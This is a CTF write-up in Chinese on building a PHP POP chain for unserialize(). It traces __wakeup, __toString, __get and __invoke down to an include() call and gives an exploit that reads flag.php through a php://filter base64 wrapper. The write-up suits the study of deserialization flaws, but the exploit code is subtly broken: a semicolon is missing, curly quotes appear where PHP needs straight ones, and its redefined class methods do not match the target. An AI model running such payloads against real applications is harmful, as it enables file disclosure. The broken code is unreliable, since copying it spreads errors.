pop链构造1
打开页面后,发现源码
1 | Welcome to index.php |
其中有几个魔术方法,所以可能是pop链的构造
1 | __invoke()魔术方法:在类的对象被调用为函数时候,自动被调用 |
从代码中,我们可以看见一个include()包含的函数,因此,我们需要想办法使用这个函数帮我们读取文件,而要使用include()函数,我们需要调用Modifier类中的append()方法,而要调用Modifier类中的append()方法,我们需要调用Modifier类中的__invoke()魔术方法,而要调用__invoke()魔术方法,要将类的对象被调用为函数,所以我们可以看见Test类中的__get()方法中的代码
1 | $function=$this->p; |
我们可以构造$this->p=new Modifier();来调用__invoke()方法,而这其中需要调用__get()方法,而调用__get()方法,需要从不可访问的属性中读取数据时会触发,所以我们可以想到Show类的__toString()方法,其中的代码
1 | return $this->str->source; |
所以我们可以构造$this->str=new Test();来触发__get方法,而要触发__toString()方法,要在类的对象被当作字符串操作时,所以我们可以看到__wakeup()魔术方法中的
1 | if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) |
所以我们可以构造$this->source=new Show();
所以我们可以构造exp,但是我们要在Show类中让$this->source为Show类的话,我们最后还需要用到__contruct()魔术方法
1 | $a=new Show('s'); #就会触发__contruct()魔术方法,且将s作为__contruct()的参数 |
include()–>append()–>_invoke()–>__get()–>__toString()–>__wakeup()–>unserialize()
1 | 所以我们构造exp |
Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
protected $var=”php://filter/read=convert.base64-encode/resource=flag.php”;
}
class Show{
public $source;
public $str;
public function __construct($file=’index.php’){
$this->source = $file;
}
public function __toString(){
$this->str=new Test();
}
public function __wakeup(){
$this->source=new Show();
}
}
class Test{
public $p;
public function __get($key){
$this->p=new Modifier();
}
}
$a=new Show();
$b=new Show($a)
$a->str=new Test();
$a->str->p=new Modifier();
echo urlencode(serialize($b));
?>
1 | 然后对代码的详细解析 |
Welcome to index.php
<?php
//flag is in flag.php //提示:flag在flag.php文件内,猜测是当前网站根目录下的flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier { //类,Modifier
protected $var; //保护属性,$var
public function append($value){ //自定义方法,append($value)
include($value); //文件包含参数$value,猜测这里可以利用文件包含读取flag.php的内容
}
public function __invoke(){ //__invoke()魔术方法:在类的对象被调用为函数时候,自动被调用
$this->append($this->var); //把保护属性$var传入自定义方法append($value),执行一次
}
}
//很明显:
//这里我们要想执行文件包含flag.php,那么就要调用append($value)方法
//这里我们要想调用append($value)方法,那么就需要调用__invoke()魔术方法
//这里我们要想调用__invoke(),那么就需要将Modifier类的对象调用为函数
//这里,我们会发现$var属性的值传给了$value参数,所以要想包含flag.php的源码,就需要给$var传入php://filter………………..[省略]
class Show{ //类,Show
public $source; //公有属性,$source
public $str; //公有属性,$str
public function __construct($file=’index.php’){ //公有构造方法,在类的对象实例化之前,自动被调用
$this->source = $file; //给$this->source属性赋值$file
echo ‘Welcome to ‘.$this->source.”
“; //打印字符串
}
public function __toString(){ //__toString()魔术方法,在类的对象被当作字符串操作的时候,自动被调用
return $this->str->source; //返回,str属性值的source属性
}
public function __wakeup(){ //__wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { //正则匹配source属性的值
echo "hacker";
$this->source = "index.php"; //source属性赋值为index.php
}
}
}
//很明显:
//__toString()魔术方法,有以下特征“$this->str->source”
//所以说,我们可以给str属性赋值为Test类的对象,那么由于该对象没有source属性,那么就会调用Test类的__get()魔术方法
//那么想要调用__toString魔术方法,就需要Show类的对象被当作字符串操作
//很明显,我们的__wakeup()魔术方法,里面有source属性被当作字符串去比较,所以我们可以给source属性赋值为Show属性的对象
//所以只要,我们可以利用反序列化,调用__wake()魔术方法,且source赋值为该类的对象,str属性赋值为Test类的对象即可
class Test{ //类,Test
public $p; //公有属性,$p
public function __construct(){ //公有构造方法,在类的对象实例化之前,自动被调用
$this->p = array(); //属性$p初始化为数组
}
public function __get($key){ //__get()魔术方法,访问该类中不可访问的属性,自动被调用
$function = $this->p; //属性$this->p赋值给$function
return $function(); //把$function调用为$function()函数
}
}
//很明显:
//这里的属性$p可以触发,__invoke()魔术方法,所以只要给$p赋值为Modifier类的对象即可
if(isset($_GET[‘pop’])){
@unserialize($_GET[‘pop’]);
}
else{
$a=new Show;
highlight_file(FILE);
}
```
最后会回显base64码